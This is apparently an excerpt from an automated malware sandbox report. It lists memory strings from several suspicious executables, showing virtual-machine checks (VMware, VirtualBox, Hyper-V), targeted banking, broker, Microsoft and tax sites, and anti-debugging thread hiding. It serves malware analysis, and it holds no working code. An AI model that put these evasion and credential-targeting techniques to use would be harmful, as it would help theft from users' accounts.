Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001CF4000.00000004.00000020.00020000.00000000.sdmp, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001D4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001CF4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware6
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe, 00000007.00000002.3369217163.00000000013E8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001CF4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CONFIRMORCONTATCAQAHKWFLSJUDUCDQCXZXENUNKRLKFUVJKKXYBVMAONBVPQTKBPDHIJROXQHBKAZGHKYFOLLENYOVCNJFGNEMHUZZAHSTKVYWSHQYDFOSVIJLJRTDDPCUAPIVBUMEYTPZAGILVAQNJLTQSXQHIVBPFESHFVCBREIRYIMCTSPRONKIPASCGDYHJNSDVZGRQJSMFGCPWKJCRPQVESOSTRKWYVORNCHINFYKZZWVFFEAKDTGJPNJBAOUBDUJEBQADEWSPYZNUQQNLLJATNTCGLDSCOWMPRLTGKEOIHDQLIYPDJGHDUXMSZDCSBRTASHQTEICUVCISHLHYGYLZUPUKLRHAURMKHJAPEZUADGZXKBBGSVZGIZLHLJZATTYZUNZCXNHEOMUDBJCGPVGNVEDDRCLNIPDIINWFPBXFWVQSVTNKFHIXKWPWIMBWLMQAKNENBNSDHVWCODSSVGQCCLNXIEEBVUUMQEBIXFKUOHGJWCOJUUYRNLYWVEXLHSAWGLMHTHNDOXZHTDTTAGYVGQZUIZGHWVZMSMGLQOCJMTFTPBZTGMPALXFUCFOYIXZYIQTRVEHZJMKGHQKTDRVVLRSWADBHJBEHDGUIHICXWBEQAVALJNYQCAETLTEZPXZMWGOIJHNMDQHLQCNBSMMUVGZFNXFNBHGLNOZWXPDFZJLSAJBYQCPPEPEHFCVPTXAYAMOVMWRVYBFLPLKVJKTMNYOQXLBXTTNFAAKAMESTFBYIIKIZUOOCEYAYNXORXOFFCYCRGLUAVJSKMRKKDAQZMBHVVAUMTYSTAIPBTVJUZDEHCANHZFVTFXLTODHGKFUACOFVOSSOAMQQQZYVGHCGIZZQSVWAYNSSWAVDWOKWDNXKZGCQNPNEICHCOIOLUMYIFIWQNEWYQKFJQFQTTJTVDWIFMQMWLOVNBTXQKTRXVBPYVMCIAUQZVOLOUPKSQEDBGUMDGZHZNQAFFMSQWMZAHKTWKMTVTVBMINMEZYPYEZMKLRNOLXJFNGNKTDZHPFBPWUKPTZETYIVHZLMQBRUKEJAUSVFXNSDZFLXVAQBEDZOWFJBZRGFBPQYWJIHNZOLZOZYSPYWZRNHGERDJNLDRVYBDXNBPRBLVANDFQVAXBWIAOVROHQESSNNTTVCJIESZAUWSRNEGNYKNYQAXKOHJZTUTNMAZSSSQVNBCBBOPCLJDAJAQDTCAYYGRCEAGPLAZKKVBGDAJCPIWVEYFAVYLHZCJDIGCXLDQBMVVUBYGVDJKPIPXCGNKBRFBGRENPQZYHELFDYQCOJUCELVNNZJRQVLROCUKDTVCCNWMZROBOZWWATAPQVVXNMUCRIYBYWFYUJSOHJBZASWQRZYFQLCPYCTGGXPMMCTHHJSKCZVCGNBRDOZOUEWQPGTKVUKRCPUKUNBWYUYAHZAQZRMNOOOKMXFJQZIHZQVDJJFUZJEOUTHRXDFZZJXTWLRKIOOHKKVIORBIMZXVWSKBRVCYUFMNCMRWSYForm1ResourcesfxYgZM.My.ResourcesMySettingsMySettingsPropertyUserControl1Microsoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceSystem.Windows.FormsFormDisposedisposingTableLayoutPanel_TableLayoutPanelget_TableLayoutPanelset_TableLayoutPanelWithEventsValuePictureBox_LogoPictureBoxget_LogoPictureBoxset_LogoPictureBoxLabel_LabelProductNameget_LabelProductNameset_LabelProductName_LabelVersionget_LabelVersionset_LabelVersion_LabelCompanyNameget_LabelCompanyNameset_LabelCompanyNameTextBox_TextBoxDescriptionget_TextBoxDescriptionset_TextBoxDescriptionButton_OKButtonget_OKButtonset_OKButton_LabelCopyrightget_LabelCopyrightset_LabelCopyrightSystem.ComponentModelIContainercomponentsInitializeComponentEventArgsAboutBox1_LoadsendereOKButton_ClickLogoPictureBoxLabelProductNameLabelVersionLabelCompanyNameTextBoxDescriptionOKButtonLabelCopyright
Source: svchost.exe, 00000004.00000002.3354285175.000002BAA7A32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: svchost.exe, 00000004.00000002.3354285175.000002BAA7A32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000&00000
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: svchost.exe, 00000004.00000003.2112702785.000002BAA7A44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: xVBoxService.exe
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000000.2312098635.00000000005A2000.00000002.00000001.01000000.0000000A.sdmp Binary or memory string: MIUNHETIAOPFBGBZVMCIBKMKSAFVNTGXOFM
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: VBoxService.exe
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000000.2313037451.0000000000B82000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: carmO8a0VBurhRuvmcIN
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: svchost.exe, 00000004.00000002.3351871083.000002BAA7A02000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: VMWare
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000003.2462703968.0000000001DFB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000C3C000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: #Windows 11 Microsoft Hyper-V Server
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Thread information set: HideFromDebugger Jump to behavior
